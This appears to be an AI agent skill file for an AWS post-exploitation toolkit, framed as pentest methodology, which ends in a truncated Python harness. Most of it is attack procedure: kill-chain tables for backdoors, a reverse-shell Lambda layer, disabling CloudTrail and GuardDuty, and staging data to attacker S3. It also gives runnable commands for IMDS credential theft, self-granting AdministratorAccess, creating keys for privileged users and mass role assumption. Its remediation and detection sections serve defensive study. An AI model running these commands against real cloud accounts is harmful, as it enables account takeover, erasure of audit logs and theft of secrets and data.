aws-postexploit
AWS post-exploitation — 92 programs for full kill chain from recon to cleanup via AWS CLI
SKILL.mdskills/impl/aws-postexploit/SKILL.md
GitHubAWS Post-Exploitation Methodology
92 programs across 7 categories for full AWS kill chain after compromising IAM credentials or EC2 instance. All tools use aws CLI natively — no Python/boto3 dependency.
Prerequisites
- Valid AWS credentials — access key + secret key, session token, or instance profile
- AWS CLI installed —
aws --version - Current identity —
aws sts get-caller-identity
Kill Chain Phases
Phase 1 — Reconnaissance (23 programs)
| Action | Command | Purpose |
|---|---|---|
| IAM enumeration | awshook iam_enum |
Users, roles, policies, privesc paths, wildcard analysis |
| EC2 enumeration | awshook ec2_enum |
Instances, AMIs, security groups, key pairs, user-data secrets |
| S3 enumeration | awshook s3_enum |
Buckets, policies, ACLs, encryption, public access |
| Lambda enumeration | awshook lambda_enum |
Functions, layers, event sources, env var secrets |
| VPC enumeration | awshook vpc_enum |
VPCs, subnets, routes, NATs, endpoints, peering |
| RDS enumeration | awshook rds_enum |
Instances, clusters, snapshots, public access, encryption |
| ECS enumeration | awshook ecs_enum |
Clusters, services, tasks, exec enabled, container env secrets |
| EKS enumeration | awshook eks_enum |
Clusters, node groups, Fargate, OIDC, public endpoint |
| SSO enumeration | awshook sso_enum |
SSO instances, permission sets, identity store |
| Org enumeration | awshook org_enum |
Accounts, OUs, SCPs, delegated admins |
| Route53 enumeration | awshook route53_enum |
Zones, records, health checks, subdomain takeover |
| Service recon | awshook service_recon |
Account-wide service usage summary |
| CFN enumeration | awshook cfn_enum |
Stacks, templates, secrets, parameters, outputs, IAM resources |
| API Gateway enum | awshook apigw_enum |
REST/HTTP/WebSocket APIs, stages, API keys, authorizers |
| SNS/SQS enum | awshook sns_sqs_enum |
Topics, subscriptions, queues, policies, encryption |
| CloudWatch enum | awshook cloudwatch_enum |
Log groups, alarms, dashboards, custom metrics |
| ElastiCache enum | awshook elasticache_enum |
Redis/Memcached auth, encryption, replication, snapshots |
| Redshift enum | awshook redshift_enum |
Clusters, public access, encryption, audit logging, snapshots |
| Multi-region scan | awshook multi_region_scan |
Shadow deployments across all enabled regions |
| KMS enum | awshook kms_enum |
Customer-managed keys, policies (Principal:*), grants |
| OpenSearch enum | awshook opensearch_enum |
Domains, public access, encryption, resource policies |
| EFS enum | awshook efs_enum |
File systems, mount targets, SG analysis, encryption |
| ELB enum | awshook elb_enum |
ALB/NLB/Classic, internet-facing, SSL policy, HTTP redirect |
Phase 2 — Credential Harvesting (11 programs)
| Action | Command | Purpose |
|---|---|---|
| Metadata harvest | awshook metadata_harvest |
EC2/ECS/Lambda metadata endpoint credentials (IMDSv1/v2) |
| Secrets dump | awshook secrets_dump |
Secrets Manager + SSM Parameter Store extraction |
| Access key enum | awshook access_key_enum |
All active keys with age, last-used, stale detection |
| Role credential | awshook role_credential --role-arn ARN |
STS AssumeRole for temporary credentials |
| Federation token | awshook federation_token |
Console access from programmatic credentials |
| ECR token | awshook ecr_token |
ECR registry auth for container image access |
| Console login | awshook console_login --user-name NAME |
Create/update IAM console login profile |
| Cognito token | awshook cognito_token |
Cognito pool enum, client secrets, identity pool credentials |
| CFN secret extract | awshook cfn_secret_extract |
Extract secrets from CFN parameters, templates, outputs |
| CodeCommit cred | awshook codecommit_cred |
HTTPS Git/SSH credentials across IAM users |
| CI/CD secrets | awshook ci_cd_secret_extract |
CodePipeline artefacts, CodeBuild env vars, CodeStar connections |
Phase 3 — Privilege Escalation (10 programs)
| Action | Command | Purpose |
|---|---|---|
| IAM privesc | awshook iam_privesc --method passrole |
PassRole/AssumeRole/AttachPolicy/CreateKey chains |
| Policy rollback | awshook policy_version_rollback --policy-arn ARN --rollback |
Restore previous permissive policy version |
| Role chain | awshook role_chain ARN1 ARN2 ARN3 |
Multi-hop A→B→C cross-account/service escalation |
| Lambda privesc | awshook lambda_privesc --role-arn ARN |
Lambda with high-priv role for code execution |
| Glue privesc | awshook glue_privesc --role-arn ARN |
Glue job/dev endpoint with high-priv role |
| CFN privesc | awshook cloudformation_privesc --role-arn ARN |
Stack with IAM resource creation |
| SSM privesc | awshook ssm_privesc --instance-id ID |
RunCommand on high-priv instance profiles |
| EC2 privesc | awshook ec2_privesc |
Launch EC2 with high-priv instance profile |
| Boundary bypass | awshook permission_boundary_bypass |
Analyze and bypass permission boundaries |
| SageMaker privesc | awshook sagemaker_privesc --role-arn ARN |
Notebook/training job with high-priv role |
Phase 4 — Persistence (11 programs)
| Action | Command | Purpose |
|---|---|---|
| Lambda backdoor | awshook lambda_backdoor --function-name NAME --callback-url URL |
Inject reverse shell layer |
| IAM backdoor | awshook iam_backdoor |
Shadow admin with AdministratorAccess + keys + console |
| EventBridge | awshook eventbridge_backdoor --target-arn ARN |
Scheduled Lambda/SSM execution |
| SSM document | awshook ssm_document_backdoor --command CMD |
Custom command document for persistent exec |
| CodeBuild | awshook codebuild_backdoor --role-arn ARN |
Project with credential exfil buildspec |
| AMI backdoor | awshook ami_backdoor --instance-id ID |
AMI from compromised instance |
| Cross-account role | awshook cross_account_role --external-account ACCT |
Trust role for external persistence |
| Cognito backdoor | awshook cognito_backdoor --user-pool-id ID |
Admin user in Cognito pool |
| EC2 Instance Connect | awshook ec2_instance_connect --instance-id ID |
SSH key push (60s window) |
| SSM State Manager | awshook ssm_state_manager --command CMD --instance-id ID |
Scheduled association (stealth) |
| ECS scheduled task | awshook ecs_scheduled_task --cluster C --task-definition DEF |
Serverless Fargate persistence |
Phase 5 — Lateral Movement (8 programs)
| Action | Command | Purpose |
|---|---|---|
| SSM exec | awshook ssm_exec --instance-id ID --command CMD |
EC2 command execution via SSM |
| ECS exec | awshook ecs_exec --cluster C --task T --command CMD |
Container command execution |
| Cross-account enum | awshook cross_account_enum --try-assume |
Trust relationships + assume attempts |
| VPC peering | awshook vpc_peering_enum |
Peering connections for network pivoting |
| Transit gateway | awshook transit_gateway_enum |
TGW attachments + cross-account routing |
| Lightsail exec | awshook lightsail_exec --instance-name NAME --command CMD |
Lightsail instance access |
| Lambda exec | awshook code_exec_lambda --function-name NAME |
Direct Lambda invocation |
| SSM Session | awshook ssm_session --instance-id ID |
Interactive shell + port forwarding |
Phase 6 — Defense Evasion (13 programs)
| Action | Command | Purpose |
|---|---|---|
| CloudTrail blind | awshook cloudtrail_blind --action stop |
Stop/modify/delete CloudTrail logging |
| GuardDuty evade | awshook guardduty_evade --action suspend |
Suspend detectors, archive findings, auto-suppress |
| Config disable | awshook config_disable --action stop |
Stop AWS Config recorder |
| Flow log disable | awshook vpc_flow_disable --action delete |
Delete VPC Flow Log subscriptions |
| Access Analyzer | awshook access_analyzer_suppress --action archive |
Archive findings, delete analyzers |
| Security Hub | awshook security_hub_suppress --action suppress |
Suppress findings or disable entirely |
| WAF bypass | awshook waf_bypass |
Enumerate WAF rules, ACLs, IP sets |
| DNS Firewall | awshook dns_firewall_disable --action disassociate |
Remove DNS Firewall from VPCs |
| CloudWatch tamper | awshook cloudwatch_tamper --action delete |
Delete/reduce retention of log groups |
| Macie disable | awshook macie_disable --action suspend |
Suspend/disable sensitive data discovery |
| Inspector disable | awshook inspector_disable --action disable |
Disable vulnerability scanning |
| S3 logging disable | awshook s3_logging_disable --action disable_access_log |
Disable S3 access logging + object-level CloudTrail |
| CloudTrail selector | awshook cloudtrail_selector_tamper --action exclude_kms |
Surgical event selector modification (stealthier than stopping) |
Phase 7 — Exfiltration & Cleanup (16 programs)
| Action | Command | Purpose |
|---|---|---|
| S3 dump | awshook s3_dump --bucket B --download |
Sensitive file discovery and download |
| EBS snapshot | awshook ec2_snapshot --volume-id VOL --share-account ACCT |
Snapshot with cross-account sharing |
| RDS dump | awshook rds_dump --db-identifier ID --share-account ACCT |
RDS snapshot, share, restore |
| DynamoDB dump | awshook dynamodb_dump --table-name T |
Table scan with secret detection |
| EBS direct read | awshook ebs_direct_read --snapshot-id SNAP |
Block-level read without EC2 |
| S3 exfil | awshook s3_exfil --bucket B --external-account A |
Modify bucket policy for external access |
| Data stage | awshook data_stage --source PATH --dest-bucket B |
Compress and stage to attacker S3 |
| Cleanup | awshook cleanup_aws |
ALWAYS run — removes all CyberStrike resources |
| CodeCommit dump | awshook codecommit_dump --repo NAME |
Repo clone with secret file extraction |
| ECR dump | awshook ecr_dump --repository NAME |
Container images, vulns, auth tokens |
| Athena query | awshook athena_query --query-string SQL |
SQL query against S3 data lakes |
| Secrets bulk export | awshook secrets_bulk_export |
Bulk extract all secrets with S3 staging |
| Backup vault enum | awshook backup_vault_enum |
AWS Backup vaults, recovery points, cross-account sharing |
| CloudWatch logs dump | awshook cloudwatch_logs_dump --log-group NAME |
Export CloudWatch logs to S3 for offline analysis |
| SNS/SQS siphon | awshook sns_sqs_siphon --topic-arn ARN |
Intercept SNS subscriptions and SQS messages |
| Kinesis tap | awshook kinesis_tap --stream-name NAME |
Tap Kinesis data streams for real-time interception |
Detection Considerations
| Service | What it catches |
|---|---|
| CloudTrail | All API calls (unless blinded): CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging, AssumeRole |
| GuardDuty | Anomalous IAM behavior, credential exfiltration, unusual API patterns, policy changes |
| AWS Config | Configuration changes for IAM, Lambda, CloudTrail, VPC, Security Groups |
| Access Analyzer | External access to S3, IAM, Lambda, SQS, SNS, KMS |
| Security Hub | Aggregated findings from all security services |
| VPC Flow Logs | Network traffic patterns for lateral movement detection |
| DNS Firewall | DNS-based exfiltration attempts |
Program Reference
| Program | MITRE ATT&CK | CWE |
|---|---|---|
| iam_enum | T1087.004 Cloud Account | CWE-269 |
| ec2_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| s3_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| lambda_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
| vpc_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| rds_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| ecs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| eks_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| sso_enum | T1087.004 Cloud Account | CWE-269 |
| org_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
| route53_enum | T1596 Search Open Technical Databases | CWE-284 |
| service_recon | T1580 Cloud Infrastructure Discovery | CWE-200 |
| cfn_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
| apigw_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| sns_sqs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| cloudwatch_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
| elasticache_enum | T1580 Cloud Infrastructure Discovery | CWE-287 |
| redshift_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| multi_region_scan | T1580 Cloud Infrastructure Discovery | CWE-200 |
| kms_enum | T1580 Cloud Infrastructure Discovery | CWE-732 |
| opensearch_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| efs_enum | T1580 Cloud Infrastructure Discovery | CWE-311 |
| elb_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| metadata_harvest | T1552.005 Cloud Instance Metadata API | CWE-522 |
| secrets_dump | T1555.006 Cloud Secrets Management Stores | CWE-522 |
| access_key_enum | T1087.004 Cloud Account | CWE-522 |
| role_credential | T1078.004 Cloud Accounts | CWE-522 |
| federation_token | T1078.004 Cloud Accounts | CWE-522 |
| ecr_token | T1552.001 Credentials In Files | CWE-522 |
| console_login | T1098 Account Manipulation | CWE-522 |
| cognito_token | T1078.004 Cloud Accounts | CWE-287 |
| cfn_secret_extract | T1552.001 Credentials In Files | CWE-312 |
| codecommit_cred | T1552.001 Credentials In Files | CWE-522 |
| ci_cd_secret_extract | T1552.001 Credentials In Files | CWE-312 |
| iam_privesc | T1098 Account Manipulation | CWE-269 |
| policy_version_rollback | T1098 Account Manipulation | CWE-269 |
| role_chain | T1078.004 Cloud Accounts | CWE-269 |
| lambda_privesc | T1098 Account Manipulation | CWE-269 |
| glue_privesc | T1098 Account Manipulation | CWE-269 |
| cloudformation_privesc | T1098 Account Manipulation | CWE-269 |
| ssm_privesc | T1098 Account Manipulation | CWE-269 |
| ec2_privesc | T1098 Account Manipulation | CWE-269 |
| permission_boundary_bypass | T1098 Account Manipulation | CWE-732 |
| sagemaker_privesc | T1098 Account Manipulation | CWE-269 |
| lambda_backdoor | T1525 Implant Internal Image | CWE-547 |
| iam_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
| eventbridge_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
| ssm_document_backdoor | T1059.009 Cloud API | CWE-547 |
| codebuild_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
| ami_backdoor | T1525 Implant Internal Image | CWE-547 |
| cross_account_role | T1098.001 Additional Cloud Credentials | CWE-284 |
| cognito_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
| ec2_instance_connect | T1098.004 SSH Authorized Keys | CWE-284 |
| ssm_state_manager | T1053.005 Scheduled Task | CWE-547 |
| ecs_scheduled_task | T1053.007 Container Orchestration Job | CWE-547 |
| ssm_exec | T1021.007 Cloud Services | CWE-78 |
| ecs_exec | T1609 Container Administration Command | CWE-78 |
| cross_account_enum | T1087.004 Cloud Account | CWE-284 |
| vpc_peering_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| transit_gateway_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
| lightsail_exec | T1021.007 Cloud Services | CWE-522 |
| code_exec_lambda | T1059.009 Cloud API | CWE-78 |
| ssm_session | T1021.007 Cloud Services | CWE-284 |
| cloudtrail_blind | T1562.008 Disable Cloud Logs | CWE-693 |
| guardduty_evade | T1562.008 Disable Cloud Logs | CWE-693 |
| config_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| vpc_flow_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| access_analyzer_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
| security_hub_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
| waf_bypass | T1562.001 Disable or Modify Tools | CWE-693 |
| dns_firewall_disable | T1562.001 Disable or Modify Tools | CWE-693 |
| cloudwatch_tamper | T1070.002 Clear Linux or Mac System Logs | CWE-693 |
| macie_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| inspector_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| s3_logging_disable | T1562.008 Disable Cloud Logs | CWE-693 |
| cloudtrail_selector_tamper | T1562.008 Disable Cloud Logs | CWE-693 |
| s3_dump | T1530 Data from Cloud Storage | CWE-200 |
| ec2_snapshot | T1537 Transfer Data to Cloud Account | CWE-200 |
| rds_dump | T1530 Data from Cloud Storage | CWE-200 |
| dynamodb_dump | T1530 Data from Cloud Storage | CWE-200 |
| ebs_direct_read | T1530 Data from Cloud Storage | CWE-200 |
| s3_exfil | T1537 Transfer Data to Cloud Account | CWE-284 |
| data_stage | T1074.002 Remote Data Staging | CWE-200 |
| codecommit_dump | T1213.003 Code Repositories | CWE-200 |
| ecr_dump | T1530 Data from Cloud Storage | CWE-200 |
| athena_query | T1530 Data from Cloud Storage | CWE-200 |
| secrets_bulk_export | T1555.006 Cloud Secrets Management Stores | CWE-200 |
| backup_vault_enum | T1530 Data from Cloud Storage | CWE-284 |
| cloudwatch_logs_dump | T1530 Data from Cloud Storage | CWE-200 |
| sns_sqs_siphon | T1530 Data from Cloud Storage | CWE-200 |
| kinesis_tap | T1530 Data from Cloud Storage | CWE-200 |
| cleanup_aws | T1070 Indicator Removal | — |
Evidence Standard
Every claim in an AWS post-exploitation report must be reproducible from the same starting principal. The identity you hold and the escalation you achieved, with the artefact that granted it, are the finding. Action names alone are not.
| Item | Command | Why |
|---|---|---|
| Foothold identity | aws sts get-caller-identity |
the principal ARN, account, and whether you are an assumed role |
| Attached / inline policy | aws iam list-attached-user-policies --user-name U; aws iam list-user-policies --user-name U |
the artefact that granted the escalation |
| Effective boundary | aws iam get-user-policy --user-name U --policy-name P; aws iam get-role --role-name R --query 'Role.PermissionsBoundary' |
a boundary or SCP can make a broad policy inert |
| Organisation guardrails | aws organizations list-policies-for-target --target-id ACCT --filter SERVICE_CONTROL_POLICY |
an SCP can deny the action regardless of IAM |
| Instance-profile reach | TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") then curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
IMDSv2 works and the profile name is the artefact |
| Escalation proof | aws iam simulate-principal-policy before, then the executed call after |
shows the boundary moved, not just that a call succeeded |
| Time-bound credential | aws sts get-caller-identity plus the role's Expiration from assume-role |
an expired credential is not access |
| Account and region scope | aws sts get-caller-identity --query Account; aws ec2 describe-regions --query 'Regions[].RegionName' |
every claim is per-account, per-region |
| CloudTrail impact | aws cloudtrail describe-trails --include-shadow-trails; aws cloudtrail get-trail-status --name T |
proves whether the activity was logged |
Verify the identity — and whether IMDS is even reachable
# Identity, account, and whether you are a user or an assumed role
aws sts get-caller-identity
# IMDSv2 token, then the instance profile name (the artefact)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# If IMDSv1 is also permitted, the same call needs no token
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Prove the escalation is real, not just permitted on paper
# Does the boundary actually allow the destructive action before you attempt it?
aws iam simulate-principal-policy \
--policy-source-arn "$(aws sts get-caller-identity --query Arn --output text)" \
--action-names iam:CreateAccessKey iam:AttachUserPolicy iam:PassRole \
--query 'EvaluationResults[].[EvalActionName,EvalDecision]' --output table
# Is a permission boundary present? A boundary that denies makes the broad policy inert.
aws iam get-role --role-name ROLE --query 'Role.PermissionsBoundary'
# Is an SCP blocking the action regardless of IAM?
aws organizations list-policies-for-target --target-id ACCOUNT_ID \
--filter SERVICE_CONTROL_POLICY
Enumerate what the assumed role can actually reach
# Which roles can this principal assume, and without MFA?
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument].{Role:RoleName,Trust:AssumeRolePolicyDocument}' \
--output json | jq -r '.Roles[] | select(.Trust.Statement[].Principal.AWS != null) | .Role'
# Direct reach into a bucket, proving data access rather than bucket existence
aws s3api get-bucket-policy --bucket B
aws s3api get-public-access-block --bucket B
aws s3 ls s3://B/ --recursive --summarize | tail -2
The get-caller-identity output paired with the effective-policy artefact and the executed
escalation is the finding. "The instance profile was broad" is an observation; "the EC2 role
app-prod had iam:PassRole on OrganizationAccountAccessRole with no permission boundary and no
SCP, so aws sts assume-role yielded AdministratorAccess — confirmed by get-caller-identity
before and after" is a finding.
False positives — exclude each of these explicitly:
- A role that looks broad but is scoped by an explicit
Denyin the permissions boundary. Runsimulate-principal-policyagainst the specific action rather than reading the policy. - An SCP in the organisation that denies the action. IAM can allow and the SCP still wins.
Check
list-policies-for-targetbefore claiming any control-plane escalation. - IMDS reachable but every role denied. Metadata reach is not credential access; fetch the credentials and actually call STS with them.
- An expired or session-scoped credential. Read the
Expirationfield; an expired token is not access. list-*succeeding and being reported as data access. Enumeration is not exfiltration; proves3:GetObjectwith a real object read and byte count.- A cross-account trust that exists but requires
ExternalIdyou do not hold. Attempt the assume and report the exact error, not the trust policy's shape. - A bucket named in a policy but not reachable. Enumerate, then read.
Record an executed assume-role or a successful destructive call as SOLID. Record a role whose
policy appears permissive but was never exercised as PLAUSIBLE until simulated. Record an
escalation blocked by boundary/SCP as OVERSTATED if it was claimed as reach.
Detection and log integrity
| Service | What it records |
|---|---|
| CloudTrail | every API call, the principal, the source IP, and whether MFA was used |
| GuardDuty | anomalous IAM behaviour, credential exfiltration, unusual API sequences |
| AWS Config | configuration drift for IAM, Lambda, CloudTrail, VPC, security groups |
| Access Analyzer | external access to S3, IAM, Lambda, SQS, SNS, KMS |
| Security Hub | aggregated findings from all of the above |
| VPC Flow Logs | the network path a pivot actually took |
Remediation Reference
- Set least privilege on instance profiles and task roles. An instance profile should grant only the API calls the workload makes. Where possible, replace instance-level AWS credentials with IAM Roles for Service Accounts (IRSA) or workload identity federation, so a compromised node yields no account-wide credential.
- Require IMDSv2 and enforce the hop limit.
aws ec2 modify-instance-metadata-options --instance-id I --http-tokens required --http-put-response-hop-limit 1. Session-token enforcement blocks the SSRF-to-credential path that instance-role harvesting depends on. Audit remaining IMDSv1 instances withdescribe-instances --queryonMetadataOptions.HttpTokens. - Eliminate
iam:PassRoleto broad roles and remove wildcard policies. Wildcards onAction: "*"withResource: "*",iam:CreatePolicyVersion,iam:AttachUserPolicy,iam:CreateAccessKey,iam:UpdateAssumeRolePolicy, andsts:AssumeRoleon trusted roles are the documented escalation paths. Scope each with explicit actions and resource ARNs. - Rotate and expire credentials. Any key, session, or STS token observed during the engagement
must be revoked, not merely reported. Enforce a maximum access-key age, disable unused keys,
and delete keys last used beyond a threshold. Assume console sessions created via
federation_tokenandconsole_loginare live until explicitly killed. - Apply permissions boundaries and SCPs deliberately. A boundary is a control only if it
contains an explicit
Denyfor escalation actions. SCPs must denyiam:*,organizations:*, andcloudtrail:*at the organisation root for member accounts that must not self-administer. - Protect and centralise logging. Enable organisation CloudTrail with log-file validation,
deliver to a dedicated, write-once logging account the workload account cannot reach, and add
S3 Object Lock. Alert on
StopLogging,DeleteTrail,UpdateTrail,PutEventSelectors, andDeleteDetector/UpdateDetectorfor GuardDuty. A CloudTrail the attacker can stop is not evidence. - Harden cross-account trust. Any trust policy must specify an
ExternalIdand, where possible, aSourceArn/SourceAccountcondition andaws:PrincipalOrgID. Re-auditassume-roletrust policies after any incident. - Detect the high-signal API combinations. Alert on create-key-then-attach-policy, on
CreateFunctionfollowed byInvokeFunction,ssm:SendCommandagainst production instances, and on the sequence of security-service disables that characterises defence evasion. - Enforce guardrails in code, not in documentation. Service control policies,
aws:RequestedRegionconditions, and tag-on-create policies prevent shadow deployments in unused regions, which auditing alone does not.
Related Routing
- k8s-postexploit — node role to cluster and back
- cloud-assessment — the pre-exploitation exposure picture
- attack-ssrf — the usual route to IMDS
- linux-postexploit — the host that holds the instance profile
- security-reporting-and-documentation — reporting per-account, per-region scope
- evidence-standard · verdict-hierarchy — claim grading
- cloud — cloud-scope doctrine
7. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | What identity is the credential, from the provider's own sts call? |
the scope of the foothold |
| 2 | Which policies or roles are attached, directly and through groups? | the permission surface |
| 3 | Did the control identity fail the same call you succeeded at? | escalation, not base permission |
| 4 | Did you enumerate and read a real resource (an object, a secret, a database row)? | impact, not just permission |
| 5 | For a role assumption: did the new identity actually differ, and what did it gain? | the escalation step |
| 6 | Did you reach more than one account? | blast radius |
| 7 | Is the credential still valid at report time, and does it expire? | live impact, bounded |
An sts get-caller-identity plus a resource read is the bar. A permission listed in
list-attached-role-policies is a policy statement; the call that returns data is the finding.
8. EXECUTION PRIMITIVES
Cloud post-exploitation is proven by reading a resource as an identity you hold or escalated into. Every block below ends at data, not at a permission listing.
8.1 Establish the identity and the permission surface
# identity, from the provider - never inferred from environment variables alone
aws sts get-caller-identity
aws sts get-caller-identity --query 'Arn' --output text | tee /tmp/arn
# and what that identity can do, as the provider sees it
aws iam list-attached-user-policies --user-name "$(basename "$(cat /tmp/arn)" | cut -d/ -f1)" 2>/dev/null
aws iam list-attached-role-policies --role-name "$(basename "$(cat /tmp/arn)")" 2>/dev/null
aws iam list-user-policies --user-name "$(basename "$(cat /tmp/arn)")" 2>/dev/null
# the control: a call that SHOULD be denied, recorded as the baseline
aws iam list-users 2>&1 | head -3
aws s3 ls 2>&1 | head -3
Record the ARN, the account ID, and the failing control call first. Every later claim is a delta against that control, and the ARN tells the client exactly which credential to rotate.
8.2 Enumerate and read real data
# what does this identity actually see
aws s3 ls 2>/dev/null | head -10
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,State.Name]' --output table 2>/dev/null | head -20
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null | head -10
aws ssm describe-parameters --query 'Parameters[].Name' --output text 2>/dev/null | head -10
# and the READ that proves impact - one object, one secret, one row
aws s3 cp s3://BUCKET/KEY /tmp/fetched 2>&1 | head -2; wc -c /tmp/fetched 2>/dev/null
aws secretsmanager get-secret-value --secret-id NAME --query 'SecretString' --output text 2>/dev/null | head -c 200; echo
# end at a database, which is usually the real target
aws rds describe-db-instances --query 'DBInstances[].[DBInstanceIdentifier,Endpoint.Address,Engine]' --output table 2>/dev/null | head -10
One fetched object or secret is the finding. Listing secrets is reconnaissance; reading one is the impact, and its content determines the severity.
8.3 Escalation by policy, with the control
# the classic self-escalation primitives, each tested and then REVERTED
# 1) attach a policy you already have permission to attach
aws iam attach-user-policy --user-name SELF --policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>&1 | head -2
aws iam list-attached-user-policies --user-name SELF --query 'AttachedPolicies[].PolicyArn' --output text
# 2) create an access key for a more privileged user
aws iam create-access-key --user-name TARGET_PRIVILEGED_USER 2>&1 | head -5
# 3) pass a role to a service that then runs as that role
aws iam list-roles --query 'Roles[].RoleName' --output text 2>/dev/null | head -10
# 4) update an existing policy version to grant yourself more, which needs no attach right
aws iam list-policy-versions --policy-arn ARN 2>/dev/null | head -10
Every escalation must be reverted in the same session. Record the exact call that granted the additional right and the exact call that removed it; a left-behind policy attachment is an engagement-integrity failure, not a finding.
8.4 Assuming roles and crossing accounts
# which roles can this identity assume - the trust policy is the permission
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/NAME --role-session-name pentest 2>&1 | head -5
# and the same for the whole account, via the role list and each trust policy
aws iam list-roles --query 'Roles[].Arn' --output text 2>/dev/null | tr '\t' '\n' | while read -r R; do
aws sts assume-role --role-arn "$R" --role-session-name pentest >/dev/null 2>&1 && echo "ASSUMABLE: $R"
done | head -10
# then operate AS the new identity - the escalation only counts once used
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls 2>/dev/null | head -5
The get-caller-identity after the assumption, and a resource read under it, is the finding. An
assumable role with no data behind it is a hardening note.
8.5 The instance metadata service
# from a host: the role's credentials, which is the commonest cloud foothold
TOKEN=$(curl -sS -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
echo "IMDSv2 token acquired: $([ -n "$TOKEN" ] && echo yes || echo NO - v1 is available)"
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ | head -3
ROLE=$(curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ | head -1)
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | head -c 400; echo
# and the container credential endpoint, which some platforms expose
curl -sS "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null | head -c 300; echo
# then USE the credential, which is the actual finding
aws sts get-caller-identity
Reading IMDS is the surface; using the credential that comes back is the finding. Note whether
IMDSv1 answered without the PUT, because that absence is the control that would have stopped it.
8.6 Persistence - tested, then removed
# each persistence mechanism gets a detection check and a removal step in the same block
aws iam create-user --user-name pentest-persistence 2>&1 | head -2
aws iam create-access-key --user-name pentest-persistence 2>&1 | head -5
aws iam attach-user-policy --user-name pentest-persistence --policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>&1
# verify it exists
aws iam get-user --user-name pentest-persistence 2>/dev/null | head -5
# and REMOVE it, verifying the removal
aws iam detach-user-policy --user-name pentest-persistence --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-access-key --user-name pentest-persistence --access-key-id KEYID
aws iam delete-user --user-name pentest-persistence
aws iam get-user --user-name pentest-persistence 2>&1 | head -2
A persistence mechanism that is not removed is an incident. The last get-user failing is the
evidence that the cleanup happened, and it belongs in the report.
8.7 The CloudTrail trail the activity created
# the blue-team half: name the events your activity generated, so the client can hunt and scope
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
--max-results 5 2>/dev/null | head -20
for E in GetCallerIdentity AssumeRole CreateAccessKey AttachUserPolicy PutRolePolicy GetSecretValue; do
C=$(aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=$E \
--max-results 1 --query 'length(Events)' --output text 2>/dev/null || echo 0)
printf '%-20s events in trail: %s\n' "$E" "$C"
done
Naming the events is part of the deliverable. A cloud post-exploitation report that does not tell the client which CloudTrail events to hunt is half a report.
8.8 A harness that pairs escalation with its control and cleanup
python3 - <<'PY'
import subprocess, shlex
def aws(cmd, timeout=60):
try:
r = subprocess.run(shlex.split("aws " + cmd), capture_output=True, text=True, timeout=timeout)
return r.returncode == 0, (r.stdout + r.stderr).strip()
except Exception as e:
return False, str(e)
ok, ident = aws("sts get-caller-identity --output json")
print("identity:", ident[:180])
if not ok:
print("no usable credential - stop here"); raise SystemExit
print()
print("CONTROL - calls expected to fail at this privilege level:")
for c in ["iam list-users", "s3 ls", "secretsmanager list-secrets"]:
ok2, out = aws(c, 30)
print(" %-28s %s" % (c, "ALLOWED" if ok2 else "denied"))
print()
print("READS - one resource per service, which is what proves impact:")
for name, c in [("s3-buckets", "s3 ls"),
("secrets", "secretsmanager list-secrets --query SecretList[].Name --output text"),
("instances", "ec2 describe-instances --query Reservations[].Instances[].InstanceId --output text")]:
ok3, out = aws(c, 60)
print(" %-12s %s %s" % (name, "OK " if ok3 else "FAIL", (out[:80] if ok3 else out[:60])))
print()
